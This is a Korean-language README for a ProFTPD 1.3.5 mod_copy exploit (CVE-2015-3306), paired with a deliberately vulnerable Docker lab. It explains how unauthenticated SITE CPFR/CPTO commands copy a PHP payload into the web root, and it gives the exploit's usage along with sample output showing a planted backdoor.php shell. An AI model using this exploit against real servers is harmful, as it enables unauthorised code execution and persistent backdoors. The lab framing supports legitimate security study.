
ProFTPd 1.3.5 - (mod_copy) 원격 명령 실행 익스플로잇 및 취약한 컨테이너
ProFTPD는 Unix 및 Unix 계열 운영 체제를 위한 고도로 구성 가능한 FTP 데몬입니다. ProFTPD는 안전하고 구성 가능한 FTP 서버에 대한 요구에서 비롯되었습니다. Apache 웹 서버에 대한 깊은 존경에서 영감을 받았습니다. 대부분의 다른 Unix FTP 서버와 달리 기존 BSD ftpd 코드 베이스에서 파생된 것이 아니라 완전히 새로운 설계와 구현입니다.
테스트를 위한 취약한 환경을 구축하려면 Docker가 설치되어 있어야 하며 다음 명령을 실행하기만 하면 됩니다:
docker build -t vuln/cve-2015-3306 .
docker run --rm -it -p 21:21 -p 80:80 vuln/cve-2015-3306
그러면 호스트의 21 및 80 포트에 취약한 애플리케이션이 실행됩니다.
ProFTPD 1.3.5의 mod_copy 모듈은 원격 공격자가 site cpfr 및 site cpto 명령을 통해 임의의 파일을 읽고 쓸 수 있게 합니다.
인증되지 않은 모든 클라이언트는 이러한 명령을 활용하여 파일시스템의 어느 부분에서든 선택한 대상으로 파일을 복사할 수 있습니다. 복사 명령은 기본적으로 'nobody' 사용자의 권한으로 실행되는 ProFTPD 서비스의 권한으로 실행됩니다. /proc/self/cmdline을 사용하여 PHP 페이로드를 웹사이트 디렉터리로 복사함으로써 PHP 원격 코드 실행이 가능해집니다.
이 대상을 익스플로잇하려면 다음을 실행하기만 하면 됩니다:
./exploit.py --host HOST --port PORT --path PATH
이 취약한 이미지를 사용하는 경우 다음을 실행하면 됩니다:
./exploit.py --host 127.0.0.1 --port 21 --path "/var/www/html/"
익스플로잇 후 backdoor.php라는 파일이 웹 디렉터리의 루트 폴더에 저장됩니다. 그리고 익스플로잇은 백도어에 명령을 보낼 수 있는 셸을 제공합니다:
./exploit.py --host 127.0.0.1 --port 21 --path "/var/www/html/"
[+] CVE-2015-3306 exploit by t0kx
[+] Exploiting 127.0.0.1:21
[+] Target exploited, acessing shell at http://127.0.0.1/backdoor.php
[+] Running whoami: www-data
[+] Done
이 취약점은 Vadim Melihow에 의해 발견되었습니다.
이 프로그램 또는 이전 프로그램은 교육 목적으로만 제공됩니다. 허가 없이 사용하지 마십시오. 일반적인 면책 조항이 적용되며, 특히 저(t0kx)는 이러한 프로그램이 제공하는 정보나 기능을 직접 또는 간접적으로 사용하여 발생한 어떠한 손해에 대해서도 책임을 지지 않습니다. 저자 또는 어떤 인터넷 제공자도 이러한 프로그램 또는 그 파생물의 콘텐츠나 오용에 대해 어떠한 책임도 지지 않습니다. 이러한 프로그램을 사용함으로써 귀하는 이러한 프로그램 사용으로 인해 발생하는 모든 손해(데이터 손실, 시스템 충돌, 시스템 손상 등)가 t0kx의 책임이 아님을 수락합니다.